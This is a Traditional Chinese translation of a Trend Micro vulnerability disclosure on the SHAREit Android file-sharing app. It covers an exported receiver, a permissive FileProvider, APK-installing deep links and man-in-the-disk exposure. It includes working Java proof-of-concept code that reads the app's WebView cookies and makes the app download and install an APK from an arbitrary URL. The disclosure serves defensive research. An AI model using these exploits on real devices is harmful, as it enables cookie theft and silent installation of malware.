趨勢科技在免費跨平臺檔案分享程式 SHAREit (「茄子快傳」)應用程式發現了漏洞。這些漏洞可以被惡意用來取得使用者的敏感資料,執行任意程式碼並可能導致遠端程式碼執行。此應用程式有超過10億次的下載量。
在名為SHAREit的應用程式中發現的這些漏洞可以被惡意用來取得使用者的敏感資料,並讓惡意程式碼或應用程式能夠用SHAREit的權限來執行任意程式碼。它們還可能導致遠端程式碼執行(RCE)。在過去,可用來從使用者裝置下載和竊取檔案的漏洞往往與應用程式相關聯。當應用程式允許傳輸和下載如Android Package(APK)等各式類型的檔案,非預期的程式缺陷就可能導致這些功能出現漏洞。
SHAREit在Google Play上有超過10億次的下載量,並被評為2019年下載次數最多的應用程式之一。這些漏洞已經通報給了Google。
漏洞詳情
我們深入研究了此應用程式的程式碼,發現它將廣播接收器宣告為「com.lenovo.anyshare.app.DefaultReceiver」。它收到動作「com.ushareit.package.action.install_completed」,然後Extra Intent呼叫startActivity()函式。
我們設計了概念證明(POC)程式碼來檢驗此漏洞。當下列程式碼透過裝置上另一個應用程式執行,它將會顯示我的活動。
所有的應用程式都可以調用此廣播元件。這會顯示任意活動,包括SHAREit的內部(非公開)和外部應用程式活動。
SHAREit還定義了一個FileProvider。開發者透過android:exported=”false”來停用導出屬性,但啟用了android:grantUriPermissions=”true”屬性。這代表第三方仍可對內容提供者的資料取得臨時讀寫權限。
更糟的是,開發者指定了寬鬆的儲存區域根路徑。在此例中,可以自由存取/data/data/<package>內的所有檔案。
我們用下面的概念證明程式碼讀取了WebView cookie。它也能用來寫入應用程式資料夾內的任何檔案。換句話說,它可以用來覆寫SHAREit應用程式的現有檔案。
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
handleIntent(getIntent());
}
protected void onNewIntent(Intent intent) {
super.onNewIntent(intent);
Log.d(“demo”, “onNewIntent”);
handleIntent(intent);
}
private void handleIntent(Intent i) {
if(!”evil”.equals(i.getAction())) {
Intent next = new Intent(“evil”);
next.setClassName(getPackageName(), getClass().getCanonicalName());
next.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION | Intent.FLAG_GRANT_READ_URI_PERMISSION); next.setData(Uri.parse(“content://com.lenovo.anyshare.gps.fileProvider/root/data/user/0/com.lenovo.anyshare.gps/app_webview/Cookies”));
Intent intent = new Intent(“com.ushareit.package.action.install_completed”);
intent.setClassName(“com.lenovo.anyshare.gps”, “com.lenovo.anyshare.app.DefaultReceiver”);
intent.setPackage(“com.lenovo.anyshare.gps”);//this enable other app receive the intent.
intent.putExtra(“android.content.pm.extra.STATUS”,-1);
intent.putExtra(“android.content.pm.extra.STATUS_MESSAGE”,”useless”);
intent.putExtra(“android.intent.extra.INTENT”,next);
sendBroadcast(intent);
Log.e(“demo”, “send broadcast done”);
}
else {
try {
Log.d(“demo”, “Got url: ” + i.getData());
InputStream in = getContentResolver().openInputStream(i.getData());
if (in != null) {
String out = this.convertStreamToString(in);
Log.d(“demo”, “Read cookies: ” + out);
}
}
catch (Throwable th) {
throw new RuntimeException(th);
}
}
}
我們發現SHAREit在首次啟動時會在dex2oat後產生vdex/odex檔案。然後應用程式會在後續執行時載入這些檔案。攻擊者可以假造vdex/odex檔案,再透過上述漏洞置換檔案來進行程式碼執行。
此外,我們還注意到SHAREit提供用深層連結來取用應用程式的特定功能。這包含下載和安裝任意APK的功能。
SHAREit宣告了能夠從網址下載檔案的深層連結功能,網址方案包括http/https及網域主機符合*.wshareit.com或gshare.cdn.shareitgames.com。
它還能夠安裝副檔名為sapk的APK。此功能能夠被利用來安裝惡意應用程式;這樣一來,當使用者點擊網址時就會進行有限制的RCE。
為了驗證上述功能是否能在Google Chrome使用,我們在HTML內加入一個href屬性。當使用者點擊此下載網址時,Chrome會呼叫SHAREit從http://gshare.cdn.shareitgames.com下載sapk。因為它支援HTTP協定,因此可以透過中間人(MitM)攻擊來替換此sapk 。
這樣一來,Malware.sapk(用來代表惡意軟體的樣本檔案)會被悄悄下載到/sdcard/SHAREit/download/apps。為了模擬這一點,我們製造了一個href。
不過並沒有跳出sapk安裝通知。為了檢查SHAREit是否能夠接收此Intent,我們試著用下面的程式碼將其直接發送給應用程式:
try {
Intent mytest = Intent.parseUri(“intent:///sdcard/SHAREit/download/apps/Malware.sapk #Intent;action=android.intent.action.VIEW;scheme=content;package=com.lenovo.anyshare.gps;type=text/plain;end”, 1);
Log.e(“test”, “intent: ” + mytest);
this.startActivityIfNeeded(mytest, -1);
} catch (URISyntaxException e) {
Log.e(“test”, “url syntax error:” + e);
}
結果顯示,SHAREit能夠接受此Intent並彈出APK安裝畫面。
透過Chrome操作會失敗的原因是瀏覽器攔截了此請求。透過逆向工程,我們發現Chrome確實會出於安全考量來封鎖內容/檔案形式Intent。
即便深度連結透過Chrome無法成功下載和安裝APK,但仍可透過本地惡意應用程式使用此程式碼來從任意網址下載APK,並在任意路徑安裝APK來進行相同的攻擊:
Intent next = new Intent();
next.setClassName(“com.lenovo.anyshare.gps”, “com.lenovo.anyshare.scheme.SchemeFilterActivity”);
next.setData(Uri.parse(“http://10.64.100.51:8080/ base.sapk”)); // Arbitrary URL
startActivity(next);
Intent next1 = new Intent();
next1.setClassName(“com.lenovo.anyshare.gps”, “com.ushareit.ads.download.SapkInstallerActivity”);
next1.setData(Uri.parse(“content:///sdcard/SHAREit/download/apps/base.sapk/base.apk”));// Arbitrary path
startActivity(next1);
SHAREit還容易遭受man-in-the-disk(MITD)攻擊。因為當使用者從下載中心下載應用程式時,會進入樣本程式碼所示的資料夾。這是一個外部資料夾,代表任何應用程式都可以用SDcard寫入權限來存取它。
為了便於說明,我們手動複製程式碼內的Twitter.apk並置換成使用相同名稱的假檔案。結果是會在SHAREit應用程式主畫面跳出假Twitter應用程式視窗。
重新開啟SHAREit應用程式會讓假Twitter應用程式再次出現在螢幕上,提示使用者安裝。
點擊安裝按鈕會安裝假應用程式並自動開啟。這次會跳出另一個系統通知。
外部資料夾內還有一些可用來竊取和替換檔案的資料夾:
bullhead:/sdcard/SHAREit/download $ ls
apps audios files pictures videos
bullhead:/sdcard/SHAREit/download $
SHAREit是一個遊戲中心,所提供的遊戲應用程式能夠經由com.lenovo.anyshare.gps/shared_prefs內的設定檔GameSettings.xml下載。
例如,xml內容包含連結hxxp://cdn2[.]gamecenter[.]run/apk/extension/Av5PyuNY[.]apk。
檢查此檔案可發現下載網址不僅來自Google Play,還來自其他廠商。大多數網址使用HTTP協定,而未經加密傳輸資料是件非常危險的事,因為資料可能會遭受MitM攻擊者篡改。
建議
安全性應該是應用程式開發者、企業和使用者首要考慮的問題。為了安全地使用行動應用程式,我們建議要定期更新和修補行動作業系統以及應用程式。使用者還應閱讀關於自己所用應用程式的評論和文章來了解最新狀況。
@原文出處:SHAREit Flaw Could Lead to Remote Code Execution 作者:Echo Duan,Jesse Chang